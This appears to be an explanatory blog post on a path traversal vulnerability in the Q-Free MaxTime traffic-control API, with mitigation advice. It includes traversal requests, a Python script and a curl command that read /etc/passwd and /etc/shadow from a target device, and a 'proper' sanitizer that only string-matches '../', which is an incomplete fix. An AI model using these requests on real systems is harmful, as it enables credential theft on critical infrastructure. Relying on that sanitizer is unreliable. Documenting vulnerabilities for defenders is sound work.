CVE-2025-26357 is a critical Path Traversal vulnerability (CWE-35) discovered in the Q-Free MaxTime traffic management software, affecting all versions up to and including 2.11.. This flaw exists in the REST API endpoint implemented by the maxtime/api/database/database.lua file. Utilizing this bug, a remote authenticated attacker is able to access sensitive local files on the Q-Free MaxTime system—including configuration data and in some cases password or private keys—by crafting malicious HTTP requests.
What is Q-Free MaxTime?
Q-Free MaxTime is widely deployed as an Adaptive Traffic Signal Control (ATSC) solution in cities globally. It manages and optimizes traffic lights at intersections for hundreds or thousands of drivers per day, often running on dedicated Linux-based appliances or embedded devices.
What is CWE-35 Path Traversal?
Path Traversal occurs when a web application allows users to specify file paths, but it doesn't sanitize the input enough. This lets attackers use special characters like ../ (dot-dot-slash) to navigate directories and access files that should be protected.
Root Cause in Code
The bug exists in database.lua under API routes—particularly those that allow users to request database exports and logs.
Here’s a simplified code snippet to illustrate the vulnerable pattern (not exact proprietary code, but a matching example):
-- maxtime/api/database/database.lua
function handle_request(req, res)
local path = req:get_param("file") -- Example: ../../../../etc/passwd
local base_dir = "/usr/local/maxtime/data/" -- Intended data directory
-- Vulnerable line: directly concatenates user input!
local full_path = base_dir .. path
-- Load and output the file with zero check
local f = io.open(full_path, "rb")
if not f then
res:status(404)
return
end
res:write(f:read("*all"))
f:close()
end
Key Problem: the value of file is taken directly from the HTTP request and appended to a fixed base directory. Using dot-dot-slash (../) in the request parameter, an attacker can "escape" the base directory and access arbitrary files the web application user can read.
Suppose the legitimate API endpoint is
GET /api/database/export?file=mydata.db
An attacker can tamper the URL as
GET /api/database/export?file=../../../../etc/passwd
Result: The server will attempt to return the /etc/passwd file, which contains user account information—a serious security leak.
Here is how an attacker can use a simple Python script with requests
import requests
# Assumes attacker has a valid session/cookie/token for authentication
url = "https://target-maxtime-device/api/database/export";
session_cookie = {"sessionid": "ATTACKER_VALID_SESSION"}
target_file = "../../../../etc/shadow" # Try /etc/passwd or /etc/shadow
resp = requests.get(url, params={"file": target_file}, cookies=session_cookie)
if resp.status_code == 200:
print("[+] File contents:")
print(resp.text)
else:
print("[-] Access denied or file not found.")
> _Note: Q-Free MaxTime does require authentication by default, so credentials are needed, but these are often obtained through weak passwords, social engineering, or chaining vulnerabilities._
You can quickly test with cURL (replace sessionid)
curl -s -b "sessionid=ATTACKER_VALID_SESSION" \
"https://target-maxtime-device/api/database/export?file=../../../../etc/passwd";
Impact
- Sensitive leakage: passwd, shadow, private.pem, config files, database snapshots, logs—all potentially accessible
- Credential harvesting: attacker gains passwords/hashes for privilege escalation
Q-Free MaxTime: All versions up to and including 2.11.
- Vulnerable File: maxtime/api/database/database.lua
Q-Free Security Advisory:
https://q-free.com/security/advisories/CVE-2025-26357 (official patch info)
Mitre CVE Page:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-26357
NVD Entry:
https://nvd.nist.gov/vuln/detail/CVE-2025-26357
Update immediately. Official fix released in MaxTime v2.12. and above.
- Use strict path validation: Disallow .. or / in URL-accessible fields.
- Limit API access: Isolate the API behind VPN/firewall; use strong, unique passwords.
A proper sanitizer function should look like
function safe_join(base, user_input)
if user_input:find('%.%./') or user_input:find('%.%.$') then
return nil -- Block path traversal
end
return base .. user_input
end
Conclusion
CVE-2025-26357 is a major warning for all orgs running their own traffic and IoT infrastructure: remote file reads can bypass nearly all trust boundaries if you’re not validating file paths from the user.
Action step:
If you use Q-Free MaxTime, update to at least 2.12. as soon as possible, review your logs, and never underestimate what a single input variable can do!
*This post was written exclusively for educational purposes. Always follow responsible disclosure rules.*
Timeline
Published on: 02/12/2025 14:15:36 UTC
Last modified on: 02/17/2025 10:09:18 UTC